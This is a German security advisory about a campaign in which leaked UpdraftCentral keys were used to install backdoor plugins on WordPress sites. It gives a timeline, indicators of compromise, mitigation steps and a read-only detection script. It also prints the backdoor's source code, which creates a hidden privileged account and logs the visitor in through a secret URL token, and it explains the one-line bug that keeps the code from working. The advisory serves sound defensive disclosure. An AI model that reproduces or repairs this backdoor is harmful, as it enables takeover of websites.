Zusammenfassung
Stand: 19. Oktober 2026, zuletzt aktualisiert am 19.10.2026. Die Liste der Änderungen steht am Ende des Artikels. Wir ergänzen den Text, sobald der Hersteller antwortet.
| Betroffen | der Dienst UpdraftCentral, dessen Client Bestandteil des Plugins UpdraftPlus ist, kostenlos wie Premium |
| Betroffene Versionen | alle UpdraftPlus-Versionen mit aktivem UpdraftCentral-Schlüssel, einschließlich der neuesten 1.26.11 und 2.26.11. Bei verbundenen Websites mit Versionen bis 1.26.4 und 2.26.4 braucht ein Angreifer nicht einmal gültige Schlüssel (CVE-2026-10795). |
| Wie viele Websites | UpdraftPlus hat laut wordpress.org über 4 Millionen aktive Installationen, und der Hersteller bezeichnet es als das weltweit beliebteste Plugin für geplante Backups. Beim Juni-Fehler im selben Kanal schätzte der Hersteller, dass weniger als 10 % der Nutzer einen UpdraftCentral- oder Migrator-Schlüssel haben, also bis zu rund 400.000 Websites. Wie viele davon der Angreifer getroffen hat, wissen wir nicht. |
| Fix | gibt es noch nicht. Der Angreifer besitzt gültige Schlüssel, ein Plugin-Update allein hilft also nicht. |
| Übergangslösung | die UpdraftCentral-Verbindung entfernen, die Website mit unserem Skript prüfen und optional UpdraftCentral-Befehle mit einem kleinen mu-Plugin sperren (siehe unten). Bis der Hersteller die Ursache erklärt, die Verbindung nicht neu anlegen. UpdraftPlus muss nicht deinstalliert werden, Backups funktionieren weiter. |
In der Nacht zum 19. Oktober 2026 schickte ein Angreifer von der IP-Adresse 43.250.53.42 über den Dienst UpdraftCentral den Befehl plugin.upload_plugin an drei unserer WordPress-Websites. UpdraftCentral ist ein Dienst zur Fernverwaltung von Websites von TeamUpdraft, und sein Client steckt in jeder Kopie des Plugins UpdraftPlus. Auf zwei unserer Websites ging der Befehl durch, und WordPress installierte und aktivierte ein unbekanntes Plugin. Auf der dritten scheiterte er an den Berechtigungen.
Der Fehler lag nicht bei uns. Alle drei Websites liefen mit dem aktuellen WordPress 7.1.3 und UpdraftPlus 2.26.11, das gegen die Juni-Schwachstelle CVE-2026-10795 gepatcht ist. Der Angreifer ist nicht in unsere Server eingedrungen und hat keine Schwäche in unserer Konfiguration ausgenutzt. Er kam über den Fernverwaltungskanal von UpdraftCentral und signierte seine Befehle mit gültigen privaten Dashboard-Schlüsseln. Diese erzeugt und verwahrt der Dienst UpdraftCentral Cloud, auf unseren Servern waren sie nie. Wer sie besitzt, kann auf jeder verbundenen Website ohne Wissen des Betreibers beliebigen Code installieren und ausführen. Deshalb halten wir das für ein kritisches Sicherheitsproblem des Dienstes UpdraftCentral.
Wer gefährdet ist: jede Website mit UpdraftPlus, kostenlos oder Premium, die mit UpdraftCentral verbunden ist, also einen UpdraftCentral-Schlüssel hat. Jede der über 4 Millionen UpdraftPlus-Installationen enthält den UpdraftCentral-Client. Websites, die nicht mit UpdraftCentral verbunden sind, gefährdet dieser Angriff nicht, weil sie ohne Schlüssel keine UpdraftCentral-Befehle annehmen. Unsere Websites waren mit UpdraftCentral Cloud verbunden, dem von TeamUpdraft betriebenen Dashboard. Ob das Leck auch selbst gehostete UpdraftCentral-Dashboards betrifft, wissen wir noch nicht.
Es handelt sich nicht um die Schwachstelle CVE-2026-10795, über die Wordfence im Juni berichtete: Gegen sie waren unsere Websites gepatcht, und Versuche, sie auszunutzen, schlugen dort fehl.
Das Plugin ist eine Hintertür. Über einen geheimen Link sollte es ein Konto mit getarnten Administratorrechten anlegen und den Angreifer direkt darin anmelden. Der Autor hat jedoch einen Fehler in den Code eingebaut, sodass die Hintertür nie funktionierte. Stattdessen brachte sie jede Anfrage an die Website zum Absturz, die nicht aus dem Cache kam, und WordPress schickte uns darüber eine E-Mail. So fanden wir sie innerhalb von Minuten bis Stunden.
Wir haben den Vorfall am 19. Oktober an TeamUpdraft gemeldet und um eine Erklärung gebeten, wie die Schlüssel zum Angreifer gelangt sind.
Wenn Ihre Website mit UpdraftCentral verbunden ist, betrachten Sie sie als potenziell kompromittiert, bis Sie sie geprüft haben. Entfernen Sie die Verbindung sofort und prüfen Sie die Website wie unten beschrieben. Stand 19. Oktober 2026 haben wir keine öffentliche Erwähnung dieser Hintertür oder eines ähnlichen Angriffs nach dem Juni-Fix gefunden.
Was Sie jetzt tun sollten
1. Entfernen Sie die UpdraftCentral-Verbindung
Öffnen Sie im WordPress-Admin Einstellungen → UpdraftPlus Backups → Reiter „Advanced Tools“ → „UpdraftCentral“. Klicken Sie auf „Manage existing keys (N)…“ und bei jedem Schlüssel auf „Delete…“. Steht dort kein Schlüssel, ist die Website nicht verbunden.
Mit Zugriff auf die Kommandozeile erledigt das derselbe Befehl im WordPress-Stammverzeichnis:
wp option delete updraft_central_localkeysEntfernen Sie die Website danach auch im UpdraftCentral-Dashboard (teamupdraft.com → My account → UpdraftCentral → ••• bei der Website → Remove site). Das Entfernen im Dashboard allein reicht nicht. Der Angreifer hat den privaten Schlüssel des Dashboards, entscheidend ist also das Löschen des Schlüssels auf der Website.
Legen Sie die Verbindung vorerst nicht neu an. Solange der Hersteller nicht erklärt, wie die Schlüssel abgeflossen sind, kann ein neuer Schlüssel genauso beim Angreifer landen wie der alte.
2. Prüfen Sie, ob die Hintertür auf Ihrer Website ist
Ohne Kommandozeile:
- Klicken Sie auf demselben UpdraftCentral-Bildschirm auf „View recent UpdraftCentral log events…“. Suchen Sie nach den Zeilen „Command received: plugin.upload_plugin“ und „probe.central.updraftplus.com“.
- Suchen Sie in der Plugin-Liste nach einem Plugin mit der Beschreibung „Small maintenance toolkit: keeps option storage tidy.“ und einem Namen aus zwei Wörtern und drei Zeichen, zum Beispiel „Load Stack 35C“.
- Suchen Sie in der Benutzerliste nach einem Konto mit dem Namen „Site Tools“ oder einer E-Mail-Adresse bei
@example.org.
Ist die Hintertür auf der Website, funktioniert der Admin womöglich gar nicht, weil das Plugin jede Anfrage abstürzen lässt. Verwenden Sie dann die Kommandozeile.
Mit Kommandozeile speichern Sie unser Prüfskript vom Ende dieses Artikels als check-updraftcentral.php im WordPress-Stammverzeichnis und führen aus:
wp eval-file check-updraftcentral.php --skip-plugins --skip-themesDas Skript liest nur und ändert nichts. Der Schalter --skip-plugins ist wichtig, weil eine installierte Hintertür sonst auch WP-CLI abstürzen lässt. Zeilen mit [ALERT] sind Spuren des Angriffs, [WARN] heißt prüfen, [OK] ist ein sauberes Ergebnis. Ein protokollierter Befehl heißt noch nicht, dass das Plugin installiert wurde (auf einer unserer Websites wurde es das nicht), deshalb prüft das Skript auch Dateien, Datenbankoptionen und Konten. Meldet es etwas mit [ALERT], lesen Sie weiter bei „Was tun, wenn Sie sie finden“.
UpdraftPlus speichert im UpdraftCentral-Log nur die letzten 50 Ereignisse. Auf einer Website, die Scanner häufig besuchen, kann der Eintrag über den Angriff aus dem Log fallen, und das Skript meldet dann beim Log [OK]. Wenn Sie Zugriff auf die Logs des Webservers haben, durchsuchen Sie auch diese (Pfad an Ihren Server anpassen, bei nginx etwa /var/log/nginx/):
grep 'class-udrpc.php"' /var/log/apache2/*access*Der Befehl findet UpdraftCentral-Anfragen ohne Bibliotheksversion im User-Agent-Header, wie sie der Angreifer geschickt hat. Das echte Dashboard sendet class-udrpc.php/2.0; https://teamupdraft.com, der Befehl erfasst es also nicht.
3. Optional: Sperren Sie UpdraftCentral-Befehle vollständig
Wenn Sie sicher sein wollen, dass die Website keinen UpdraftCentral-Befehl ausführt, selbst wenn noch ein Schlüssel darauf liegt, speichern Sie im Verzeichnis wp-content/mu-plugins/ eine Datei block-updraftcentral.php mit diesem Inhalt:
<?php
// Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.
if ( isset( $_POST['udrpc_message'] ) ) {
http_response_code( 403 );
exit;
}WordPress lädt Dateien in mu-plugins vor den regulären Plugins, die Anfrage endet also, bevor UpdraftPlus sie verarbeitet. Das sperrt auch die Migration von Websites über UpdraftPlus Migrator, der denselben Kanal nutzt. Löschen Sie die Datei, sobald der Hersteller das Problem erklärt und behoben hat.
Wie wir darauf gestoßen sind
Um 5:38 erhielten wir eine automatische WordPress-E-Mail: „WordPress caught an error with one of your plugins, Load Stack 35C.“ Ein Plugin dieses Namens hatten wir nie installiert. Die Fehlermeldung lautete Uncaught Error: Undefined constant LoadStack35c::FIELD, und seit 4:14 beantwortete unsere Website jede Anfrage mit Fehler 500.
Alle Dateien im Verzeichnis wp-content/plugins/load-stack-35c/ hatten dieselbe Änderungszeit, 4:14:30. Eine Sekunde später änderte sich das Verzeichnis wp-content/upgrade/, das WordPress zum Entpacken installierter Plugins nutzt. Das Plugin kam also über den regulären WordPress-Installer, nicht als auf die Platte gelegte Datei. Genau in dieser Sekunde steht im Access-Log eine einzige Anfrage:
43.250.53.42 - - [19/Oct/2026:04:14:30 +0200] "POST / HTTP/1.1" 200 8454 "-" "WordPress/6.4; class-udrpc.php"class-udrpc.php ist die Bibliothek, über die UpdraftPlus Befehle von UpdraftCentral empfängt. Ihr eigenes Log (die Datenbankoption updraftcentral_client_log) bestätigte es: Command received: plugin.upload_plugin.
Zeitablauf
Wir bezeichnen die Websites als A, B und C. Alle Zeiten in MESZ. Alle Anfragen kamen von 43.250.53.42 (Hoster RedSwitches) mit dem User-Agent-Header WordPress/6.4; class-udrpc.php.
| Website | Sondierung | Plugin-Installation | Ergebnis |
|---|---|---|---|
| Website C | 19.10. 0:41:32 | 6:05:31 | gescheitert, der Schlüssel gehörte einem Benutzer ohne Recht, Plugins zu installieren |
| Website A | 2:14:05 | 4:14:30 | Hintertür „Load Stack 35C“ aktiv, Website bis 6:13 nicht erreichbar |
| Website B | 2:39:44 | 6:53:49 | Hintertür „Text Gantry Eb0“ aktiv, um 6:56 entfernt |
Die Sondierung ist eine Nachricht an einen nicht existierenden Schlüssel, probe.central.updraftplus.com. Die Website antwortet, dass sie die Nachricht nicht versteht, und verrät damit, dass sie UpdraftCentral-Befehle annimmt. Den nächsten Befehl schickte der Angreifer bereits an den echten Schlüssel 0.central.updraftplus.com. Auf allen drei Websites lief der Angriff gleich ab, vom selben Angreifer, im Abstand weniger Stunden.
Wie der Angriff ablief
Beim Verbinden mit UpdraftCentral erzeugt die Website ein RSA-Schlüsselpaar und schickt den öffentlichen Schlüssel an den Dienst UpdraftCentral Cloud. Der Dienst hat ein eigenes Schlüsselpaar und schickt der Website nur seinen öffentlichen Schlüssel. Der private Schlüssel des Dashboards bleibt beim Dienst. Jeder Befehl muss für den Schlüssel der Website verschlüsselt und mit dem privaten Schlüssel des Dashboards signiert sein. Die Website führt ihn dann mit den Rechten des Benutzers aus, der den Schlüssel in WordPress angelegt hat.
Der Befehl plugin.upload_plugin bestand auf zwei Websites diese gesamte Prüfung. Website A haben wir im Detail untersucht und folgende Erklärungen ausgeschlossen:
- Die bekannte Schwachstelle CVE-2026-10795. Sie betrifft UpdraftPlus bis 1.26.4 (Premium bis 2.26.4). Unsere Websites liefen mit 2.26.11. Ausnutzungsversuche sehen wir in den Logs der Websites B und C seit Juni, von Dutzenden IP-Adressen, und alle endeten mit „Could not decrypt incoming message“.
- Ein verändertes Plugin. Die Dateien
class-udrpc2.php,central/bootstrap.php,central/listener.phpundcentral/host.phpsind Byte für Byte identisch mit der offiziellen Version 1.26.11 von wordpress.org. - Das ältere unsignierte Nachrichtenformat. Der Code lehnt es für UpdraftCentral-Schlüssel ab, und der Eintrag „Command received“ entsteht erst nach dieser Prüfung.
- Ein untergeschobener Dashboard-Schlüssel. Die Schlüssel-Fingerabdrücke sind in den täglichen Backups vom 15. bis 18. Oktober und in der Live-Datenbank gleich, und in den Access-Logs hat niemand die Funktion zum Schlüsseltausch aufgerufen.
- Schwache Kryptografie. Website- und Dashboard-Schlüssel sind RSA mit 2048 Bit und Exponent 65537, und UpdraftPlus enthält phpseclib 2.0.55, in dem der bekannte Fehler bei der Signaturprüfung behoben ist.
- Ein kompromittierter wp-admin. Es sind keine unbekannten Administratoren hinzugekommen, die Prüfsummen von Kern und Plugins stimmen, und die Logs zeigen keinen Plugin-Upload über den Admin.
Der Angreifer besaß also die privaten Dashboard-Schlüssel aller drei Verbindungen gleichzeitig. Auf unseren Servern waren diese Schlüssel nie, sie konnten von dort also nicht abfließen. Die Befehle kamen auch nicht von einem Server von TeamUpdraft. Das echte Dashboard schickte im März und April 2026 Befehle an Website B mit diesem User-Agent-Header:
WordPress/6.8.5; class-udrpc.php/2.0; https://teamupdraft.comDer Angreifer schickte WordPress/6.4; class-udrpc.php, ohne Bibliotheksversion und ohne URL, von seinem eigenen Server. Die Schlüssel sind also aus der Umgebung von UpdraftCentral Cloud abgeflossen, und der Angreifer hat sie außerhalb davon verwendet.
Wie genau er an sie gelangt ist, wissen wir noch nicht. Wir haben TeamUpdraft um eine Erklärung und um die Zugriffsprotokolle unseres Kontos gebeten. Die Schlüssel für die Websites B und C existierten seit November 2025, und der Angreifer hat sie vor dem 19. Oktober nicht verwendet. Der Angriff kam acht Tage, nachdem wir Website A demselben Konto hinzugefügt hatten.
Auf Website C scheiterte der Angriff durch Zufall. Den Schlüssel hatte dort im November 2025 ein Benutzer angelegt, der kein Administrator mehr ist. Vor der Installation prüft UpdraftCentral, ob der Eigentümer des Schlüssels die Rechte install_plugins und activate_plugins hat. Er hatte keines davon.
Warum das ein kritisches UpdraftCentral-Problem ist
Der UpdraftCentral-Client ist Teil jeder Kopie von UpdraftPlus, kostenlos wie Premium. Er wird aktiv, sobald der Betreiber die Website mit dem Dashboard verbindet. Ab dann führt die Website jeden mit dem Dashboard-Schlüssel signierten Befehl mit den Rechten des Administrators aus, der die Verbindung angelegt hat, einschließlich Upload und Aktivierung beliebiger Plugins. Der Betreiber bestätigt den Befehl nicht, und in unserem Fall hat uns nichts darauf hingewiesen. Die Schlüssel auf der Website haben kein Ablaufdatum: Die vom November 2025 funktionierten auch im Oktober 2026.
Die Sicherheit aller verbundenen Websites hängt damit an einer einzigen Annahme: dass die privaten Dashboard-Schlüssel nicht abfließen. Sie sind abgeflossen, und der Angreifer hat von einem Ort aus innerhalb weniger Stunden zwei Websites übernommen und es bei einer dritten versucht. UpdraftPlus hat über 4 Millionen aktive Installationen. Unter den Backup-Plugins auf wordpress.org hat nur All-in-One WP Migration (5+ Millionen) mehr Installationen, und das ist vor allem ein Migrationswerkzeug. Nur ein Teil der UpdraftPlus-Nutzer verwendet UpdraftCentral, aber auch ein kleiner Anteil von 4 Millionen sind viele Websites.
Derselbe Kanal hat schon einmal versagt. Im Juni 2026 behob der Hersteller die Schwachstelle CVE-2026-10795 (CVSS 8.1), über die ein Angreifer ohne Anmeldung UpdraftCentral-Befehle fälschen und ein schädliches Plugin installieren und aktivieren konnte. Ausnutzungsversuche fangen wir in unseren Logs bis heute ab.
Was die Hintertür genau tut
Das Plugin hat fünf Dateien, Logik enthält aber nur die Hauptdatei. Hier der relevante Teil der Probe von Website A. Token und Passwort haben wir gekürzt:
define( 'LOADSTACK35C_TOKEN', 'j0j8nxxH…' ); // 32 Zeichen
define( 'LOADSTACK35C_FIELD', '_9f5696' );
define( 'LOADSTACK35C_SVC_LOGIN', 'data-ops43' );
define( 'LOADSTACK35C_SVC_PASS', 'L7sfkZMw…' ); // 22 Zeichen
final class LoadStack35c {
private function __construct() {
add_action( 'init', array( $this, 'handle_sync' ), 1 );
}
public function handle_sync() {
if ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {
$user = get_user_by( 'login', self::SVC_LOGIN );
if ( ! $user ) {
$uid = wp_insert_user( array(
'user_login' => self::SVC_LOGIN,
'user_pass' => self::SVC_PASS,
'user_email' => self::SVC_LOGIN . '@example.org',
'display_name' => 'Site Tools',
'role' => 'editor',
) );
if ( is_wp_error( $uid ) ) return;
$u = new WP_User( $uid );
$u->add_cap( 'manage_options' );
$u->add_cap( 'install_plugins' );
$user = get_user_by( 'id', $uid );
}
wp_set_current_user( $user->ID, $user->user_login );
wp_set_auth_cookie( $user->ID, true, is_ssl() );
wp_safe_redirect( admin_url( 'index.php' ) );
exit;
}
}
}
register_activation_hook( __FILE__, function () {
if ( ! get_option( 'load_stack_35c_sync_token' ) ) {
update_option( 'load_stack_35c_sync_token', 'j0j8nxxH…', false );
}
} );
LoadStack35c::instance();So würde es funktionieren, wenn es keinen Fehler enthielte:
- Bei jeder Anfrage an die Website hängt es sich mit Priorität 1 an die Aktion
init, also früher als die meisten anderen Plugins. - Es prüft, ob die URL den Parameter
?_9f5696=enthält, und vergleicht dessen Wert mit einem 32-stelligen Token. Es vergleicht mithash_equals, das unabhängig von einer Übereinstimmung gleich lange dauert, sodass sich das Token nicht über Antwortzeiten erraten lässt. Ohne das richtige Token passiert nichts, und die Website verhält sich normal. - Mit dem richtigen Token legt es den Benutzer
data-ops43an, mit einem im Plugin hinterlegten Passwort, der E-Maildata-ops43@example.orgund dem Anzeigenamen „Site Tools“. - Es gibt ihm die Rolle Editor und dazu zwei einzelne Berechtigungen:
manage_optionsundinstall_plugins. - Es meldet den Besucher als diesen Benutzer über
wp_set_auth_cookiemit „Angemeldet bleiben“ an, also mit einem 14 Tage gültigen Cookie. Das Anmeldeformular wird dabei komplett umgangen, deshalb greifen weder Zwei-Faktor-Authentifizierung noch Begrenzung der Anmeldeversuche noch der Anmeldeschutz von Wordfence. - Es leitet ihn in den Admin weiter.
Die Rolle Editor mit zwei zusätzlichen Berechtigungen ist Absicht. In der Benutzerliste erscheint das Konto als Editor, nicht als Administrator, und fällt bei einer üblichen Durchsicht der Admins nicht auf. Praktisch hat es aber die volle Kontrolle über die Website:
install_pluginserlaubt den Upload beliebiger Plugins. Deren PHP-Dateien lassen sich auch ohne Aktivierung direkt per URL aufrufen, also beliebiger Code auf dem Server.manage_optionsöffnet alle Einstellungen. Registrierung einschalten und die Standardrolle auf Administrator setzen genügt, und der Angreifer legt sich einen vollwertigen Admin an.- Ein Editor hat bei einer normalen WordPress-Installation auch
unfiltered_htmlund kann damit JavaScript in Beiträge einfügen, das im Browser jedes Administrators läuft.
Die Hintertür hat noch eine zweite Ebene. Das angelegte Konto mit bekanntem Passwort bleibt in WordPress auch nach dem Entfernen des Plugins bestehen, und der Angreifer kann sich damit über das normale Anmeldeformular einloggen, sofern für dieses Konto keine Zwei-Faktor-Authentifizierung aktiv ist.
Der Fehler, der uns gerettet hat
Die Konstanten sind mit define() als globale Konstanten definiert (LOADSTACK35C_FIELD), der Code liest sie aber als Klassenkonstanten (self::FIELD). Die Klasse hat keine Konstanten. PHP 8 wirft deshalb beim ersten Auswerten von self::FIELD den Fehler Error: Undefined constant LoadStack35c::FIELD. Das passiert noch vor der Token-Prüfung, also bei jeder Anfrage: beim normalen Besuch, im Admin, beim Login, in der REST-API, bei Cron und in WP-CLI. Die Website fällt mit Fehler 500 aus und liefert nur Seiten aus dem Cache.
Die Installationsanfrage selbst lief erfolgreich durch. UpdraftCentral verarbeitet Befehle erst in der Aktion wp_loaded, die nach init kommt, in dieser Anfrage lief der fehlerhafte Code also nicht. Der Angreifer bekam eine Erfolgsbestätigung und erfuhr aus der Antwort nichts von dem Fehler. Erst die folgenden Anfragen stürzten ab.
Der Angreifer muss nur ein paar Zeichen korrigieren, und die nächste Welle kann funktionieren. Wenn Sie ein ähnliches „kaputtes“ Plugin finden, reparieren Sie es nicht. Eine Reparatur würde die Hintertür einschalten. Entfernen Sie es.
Weitere Details
- Das Plugin gibt sich als gewöhnliche Erweiterung: vollständiger Header, GPL-Lizenz,
Text Domain, die Beschreibung „Small maintenance toolkit: keeps option storage tidy.“ und ein erfundener Herausgeber („PixelBinder“, „Harbor Stack Labs“). - Die Dateien
assets/public.css,assets/public.jsundlanguages/readme.txtenthalten nur einen Kommentar. Das Plugin nutzt sie nirgends, sie sollen das Verzeichnis wie ein echtes Plugin aussehen lassen. uninstall.phplöscht beim Deinstallieren über den Admin die Optionen<slug>_sync_tokenund<slug>_setup_stampund damit die eigenen Spuren. Die zweite Option legt der Code nirgends an, sie ist ein Überbleibsel der Vorlage.- Bei der Aktivierung speichert es das Token in der Option
<slug>_sync_tokenohne Autoload. Der Code liest sie nirgends. - Beide Proben stammen aus demselben Generator. Ersetzt man Namen, Tokens, Benutzernamen und Versionen durch Platzhalter, sind alle Dateien Byte für Byte identisch. Der Name folgt dem Muster
wort-wort-3 Hex-Zeichen, der Parameter ist_plus 6 Hex-Zeichen, der Benutzerwort-wortplus zwei Ziffern. Das Token hat 32 Zeichen, das Passwort 22 Zeichen (Buchstaben, Ziffern, Unterstrich).
Indikatoren einer Kompromittierung
| Website A | Website B | |
|---|---|---|
| Plugin-Verzeichnis | load-stack-35c | text-gantry-eb0 |
| Name / Autor / Version | Load Stack 35C / PixelBinder / 1.2.6 | Text Gantry Eb0 / Harbor Stack Labs / 3.9.5 |
| URL-Parameter | _9f5696 | _3e9caa |
| Benutzer | data-ops43 | media-staff96 |
| Datenbankoption | load_stack_35c_sync_token | text_gantry_eb0_sync_token |
| SHA-256 der Hauptdatei | 3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209f | bb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801 |
SHA-256 von uninstall.php | 4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f0 | 4943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9 |
Gemeinsame Merkmale:
- IP-Adresse
43.250.53.42, User-Agent genauWordPress/6.4; class-udrpc.php, AnfragePOST / - im UpdraftCentral-Log die Sondierung
probe.central.updraftplus.comund einige Stunden späterCommand received: plugin.upload_plugin - die Plugin-Beschreibung „Small maintenance toolkit: keeps option storage tidy.“
- ein Benutzer mit E-Mail bei
@example.orgund Anzeigename „Site Tools“, mit der Rolle Editor und den Berechtigungenmanage_optionsundinstall_plugins - der fatale Fehler
Undefined constant <Klasse>::FIELDund eine WordPress-E-Mail über einen Fehler in einem Plugin, das Sie nicht kennen
Was tun, wenn Sie sie finden
- Falls noch nicht geschehen, entfernen Sie die UpdraftCentral-Verbindung wie unter „Was Sie jetzt tun sollten“ beschrieben. Sonst kann der Angreifer eine reparierte Version der Hintertür schicken.
- Deaktivieren Sie das Plugin und verschieben Sie es aus dem Web-Verzeichnis. Wenn Sie es als Beweis behalten wollen, löschen Sie es nicht über den Admin, denn
uninstall.phplöscht seine Optionen. - Löschen Sie die Option
<slug>_sync_token. - Prüfen Sie die Benutzer mit dem Prüfskript unten. Hat die Hintertür funktioniert, existiert also ihr Konto oder zeigt das Access-Log eine Anfrage mit ihrem Parameter, betrachten Sie die Website als vollständig kompromittiert. Der Angreifer könnte weitere Plugins oder eine Webshell hochgeladen und Dateien oder die Datenbank verändert haben. Stellen Sie die Website aus einem Backup von vor dem Angriff wieder her, vergleichen Sie die Dateien mit einer sauberen Installation und gehen Sie alle Benutzer mit zusätzlichen Berechtigungen durch.
- Ändern Sie die Administrator-Passwörter und das Passwort des UpdraftCentral-Cloud-Kontos, beenden Sie alle angemeldeten Sitzungen und aktivieren Sie Zwei-Faktor-Authentifizierung.
- Überlegen Sie, ob Sie die Fernverwaltung überhaupt brauchen. Wenn ja, legen Sie den Schlüssel unter einem Konto ohne das Recht an, Plugins zu installieren, sofern Sie das aus der Ferne nicht benötigen. Auf Website C hat genau dieser Zufall den Angriff gestoppt.
Prüfskript
Das Skript prüft fünf Dinge: ob die Website mit UpdraftCentral verbunden ist, was die Website über UpdraftCentral empfangen hat, ob die Verzeichnisse plugins und mu-plugins Dateien der Hintertür enthalten, ob ihre Optionen in der Datenbank stehen und ob ihr Konto existiert oder ein anderer Nicht-Administrator die Berechtigung manage_options oder install_plugins hat.
Auf Website A gibt es nach dem Entfernen der Hintertür aus:
[OK] No active UpdraftCentral connection.
[WARN] 2026-10-19 00:14 UTC 43.250.53.42 probe for UpdraftCentral (UA: WordPress/6.4; class-udrpc.php).
[ALERT] 2026-10-19 02:14 UTC 43.250.53.42 "Command received: plugin.upload_plugin" (UA: WordPress/6.4; class-udrpc.php). A plugin or theme was pushed to this site.
[OK] No backdoor plugin files found.
[OK] No backdoor options in the database.
[OK] No backdoor accounts or hidden admin-level users.Sie können das Skript auch direkt herunterladen:
curl -o check-updraftcentral.php https://nethemba.com/wp-content/uploads/2026/10/check-updraftcentral.txtSHA-256 des Skripts: 8e78868d970db4e0e96f1f00df90e972b39366e9fe6d4ac18b3eab9364a3175d. Der vollständige Code:
<?php
/**
* Nethemba: check for the UpdraftCentral backdoor campaign of October 2026.
* Read-only. It changes nothing on the site.
*
* Run in the WordPress root directory:
* wp eval-file check-updraftcentral.php --skip-plugins --skip-themes
*
* --skip-plugins matters: an installed copy of the backdoor crashes every request,
* including WP-CLI, unless plugins are skipped.
*/
$alerts = 0;
$warnings = 0;
$report = function ( $level, $message ) use ( &$alerts, &$warnings ) {
if ( 'ALERT' === $level ) $alerts++;
if ( 'WARN' === $level ) $warnings++;
echo str_pad( "[$level]", 8 ), $message, "\n";
};
echo "UpdraftCentral backdoor check for ", get_option( 'siteurl' ), "\n\n";
// 1. Is the site connected to UpdraftCentral?
$keys = get_option( 'updraft_central_localkeys' );
if ( is_array( $keys ) && $keys ) {
foreach ( $keys as $id => $key ) {
$report( 'WARN', sprintf(
'UpdraftCentral connection is active: key %s, created %s by user "%s". Delete it now.',
$id,
isset( $key['created'] ) ? gmdate( 'Y-m-d', $key['created'] ) : '?',
isset( $key['extra_info']['user_login'] ) ? $key['extra_info']['user_login'] : '?'
) );
}
} else {
$report( 'OK', 'No active UpdraftCentral connection.' );
}
// 2. What the site received over UpdraftCentral.
$log = get_site_option( 'updraftcentral_client_log' );
$log_hits = 0;
foreach ( is_array( $log ) ? $log : array() as $entry ) {
$message = isset( $entry['message'] ) ? $entry['message'] : '';
$agent = isset( $entry['http_user_agent'] ) ? $entry['http_user_agent'] : '';
$when = isset( $entry['time'] ) ? gmdate( 'Y-m-d H:i', $entry['time'] ) . ' UTC' : '?';
$ip = isset( $entry['remote_ip'] ) ? $entry['remote_ip'] : '?';
if ( preg_match( '/upload_(plugin|theme)/', $message ) ) {
$report( 'ALERT', "$when $ip \"$message\" (UA: $agent). A plugin or theme was pushed to this site." );
$log_hits++;
} elseif ( false !== strpos( $message, 'probe.central.updraftplus.com' ) ) {
$report( 'WARN', "$when $ip probe for UpdraftCentral (UA: $agent)." );
$log_hits++;
} elseif ( 'Command received' === substr( $message, 0, 16 ) && preg_match( '/class-udrpc\.php$/', $agent ) ) {
$report( 'ALERT', "$when $ip \"$message\" from a client that is not UpdraftCentral Cloud (UA: $agent)." );
$log_hits++;
}
}
if ( ! $log_hits ) $report( 'OK', 'UpdraftCentral log shows no plugin uploads, probes or foreign clients.' );
// 3. Backdoor plugins in plugins and mu-plugins.
$plugin_hits = 0;
foreach ( array( WP_PLUGIN_DIR . '/*/*.php', WPMU_PLUGIN_DIR . '/*.php' ) as $pattern ) {
foreach ( (array) glob( $pattern ) as $file ) {
$code = (string) @file_get_contents( $file, false, null, 0, 200000 );
$template = false !== strpos( $code, 'keeps option storage tidy' )
|| ( false !== strpos( $code, "_sync_token'" ) && false !== strpos( $code, 'wp_set_auth_cookie' ) && false !== strpos( $code, 'hash_equals' ) );
if ( $template ) {
$report( 'ALERT', "Backdoor plugin file: $file" );
$plugin_hits++;
}
}
}
if ( ! $plugin_hits ) $report( 'OK', 'No backdoor plugin files found.' );
// 4. Options the backdoor leaves behind.
global $wpdb;
$options = $wpdb->get_col( "SELECT option_name FROM {$wpdb->options} WHERE option_name REGEXP '^[a-z]+_[a-z]+_[0-9a-f]{3}_(sync_token|setup_stamp)$'" );
foreach ( $options as $name ) $report( 'ALERT', "Backdoor option in the database: $name" );
if ( ! $options ) $report( 'OK', 'No backdoor options in the database.' );
// 5. Accounts the backdoor creates, and non-admins with admin-level capabilities.
$user_hits = 0;
$cap_key = $wpdb->get_blog_prefix() . 'capabilities';
foreach ( get_users( array( 'fields' => array( 'ID', 'user_login', 'user_email', 'display_name' ) ) ) as $user ) {
$caps = (array) get_user_meta( $user->ID, $cap_key, true );
$extra = array_intersect( array( 'manage_options', 'install_plugins' ), array_keys( array_filter( $caps ) ) );
if ( 'Site Tools' === $user->display_name || '@example.org' === substr( $user->user_email, -12 ) ) {
$report( 'ALERT', "Backdoor-style account: {$user->user_login} <{$user->user_email}> \"{$user->display_name}\"" );
$user_hits++;
} elseif ( $extra && empty( $caps['administrator'] ) ) {
$report( 'WARN', "Non-administrator {$user->user_login} has extra capabilities: " . implode( ', ', $extra ) );
$user_hits++;
}
}
if ( ! $user_hits ) $report( 'OK', 'No backdoor accounts or hidden admin-level users.' );
echo "\n";
if ( $alerts ) {
echo "RESULT: traces of the attack found. Delete the UpdraftCentral connection, remove the backdoor and check users and passwords.\n";
} elseif ( $warnings ) {
echo "RESULT: no backdoor found, but there are warnings above. If the site is connected to UpdraftCentral, delete the connection now.\n";
} else {
echo "RESULT: no traces found.\n";
}Warum wir sofort veröffentlichen
Responsible Disclosure bedeutet, dem Hersteller Zeit für eine Korrektur zu geben und Details erst danach zu veröffentlichen. Dafür gibt es hier leider keinen Grund. Der Angreifer verbreitet Hintertüren bereits aktiv in WordPress-Installationen, und ein Fix des Herstellers hilft den Betreibern nicht, solange der Angreifer gültige Schlüssel hat. Der einzige wirksame Schutz ist, die UpdraftCentral-Verbindung zu entfernen und die Website zu prüfen, und das kann jeder Administrator sofort tun.
